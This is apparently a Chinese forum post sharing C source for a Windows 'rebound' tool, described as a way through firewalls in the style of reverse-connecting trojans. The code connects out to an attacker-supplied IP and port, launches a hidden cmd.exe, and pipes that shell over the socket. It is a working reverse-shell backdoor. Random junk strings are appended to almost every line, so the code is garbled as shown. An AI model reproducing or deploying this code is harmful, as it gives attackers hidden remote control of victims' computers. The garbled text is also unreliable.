这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z 361ko}
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/* ============================== Ju.B!)uS#
Rebound port in Windows NT WaYT7 :
By wind,2006/7 +Q6}kbDI
===============================*/ XhEd9>#
#include ;;g'C*_
#include ([a[fi
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#pragma comment(lib,"wsock32.lib") ts3BmfR?
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void OutputShell(); yYM_
SOCKET sClient; 2dUVHu= +
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'CSIC8M<j
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void main(int argc,char **argv) O4i5fVy{
{ }+Ne)B E
WSADATA stWsaData; jLu`DKB
int nRet; szx7CP`<8
SOCKADDR_IN stSaiClient,stSaiServer; W4~:3Sk
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if(argc != 3) iI(7{$y
{ 1"5-doo
printf("Useage:\n\rRebound DestIP DestPort\n"); R"`7aa6
return; ypK1
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} NWq>Z!x`
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WSAStartup(MAKEWORD(2,2),&stWsaData); "=97:H{!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); io{uN/!X_J
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stSaiClient.sin_family = AF_INET; #- hYjE5
stSaiClient.sin_port = htons(0); {2Jn#&Z29
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D-<9kBZs
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &hb:~>
{ 1JI\e6]I
printf("Bind Socket Failed!\n"); v2uyn
return; Rg!Fu
} *6trK`tx^
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stSaiServer.sin_family = AF_INET; zrg#BXj7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _b8?_Zq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8I`t`C/4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a*Oc:$
{ r)G^V&96
printf("Connect Error!"); tgP x!5U
return; Y]SX2kk(2
} wtY*{m2
OutputShell(); D+ )R_
} XH?}0D(
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void OutputShell() c[~LI<>ic
{ }(/")i4h
char szBuff[1024]; 30fsVwE2
SECURITY_ATTRIBUTES stSecurityAttributes; 23AMrDF=N
OSVERSIONINFO stOsversionInfo; A1A/OU<Vb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %ur_DQ
STARTUPINFO stStartupInfo; Z`=[hu
char *szShell; D/
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PROCESS_INFORMATION stProcessInformation; gfPht 5
unsigned long lBytesRead; -!k$ Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1b,,uI_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nf7l}^/UE
stSecurityAttributes.lpSecurityDescriptor = 0; lStYfO:<'v
stSecurityAttributes.bInheritHandle = TRUE; JQhw>H9&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^" EsBt
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KAucSd`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pS3TD"p
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8U5L|Ny.q
stStartupInfo.wShowWindow = SW_HIDE; \[Dxg`;4
stStartupInfo.hStdInput = hReadPipe; JIl<4 %A
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %$)[qa3
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GetVersionEx(&stOsversionInfo); YB^[HE\#y
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switch(stOsversionInfo.dwPlatformId) %)Pn<! L
{
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case 1: {q[l4_
szShell = "command.com"; `Eijy3>h
break; Ez*9*]O*+
default: /WlpRf%
szShell = "cmd.exe"; !8Rsz:7^-
break; *h`%u8/{
} 2&f]v`|M|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *<PQp
lm?1 K:+[
send(sClient,szMsg,77,0); L|7F%oR
while(1) 4+Sq[Rv0
{ :+9KNyA
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y7;i4::A\
if(lBytesRead) bF#* cH
{ nty^De%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); meHnT9a^
send(sClient,szBuff,lBytesRead,0); XF`,mV4
} oQ!56\R
else *vL2n>HH
{ &vf%E@<
lBytesRead=recv(sClient,szBuff,1024,0); +wAH?q8f
if(lBytesRead<=0) break; E,F'k2yU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1 h.=c
} )}-,4Iu%
} oA^aT:o +
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return; oJcDs-!
}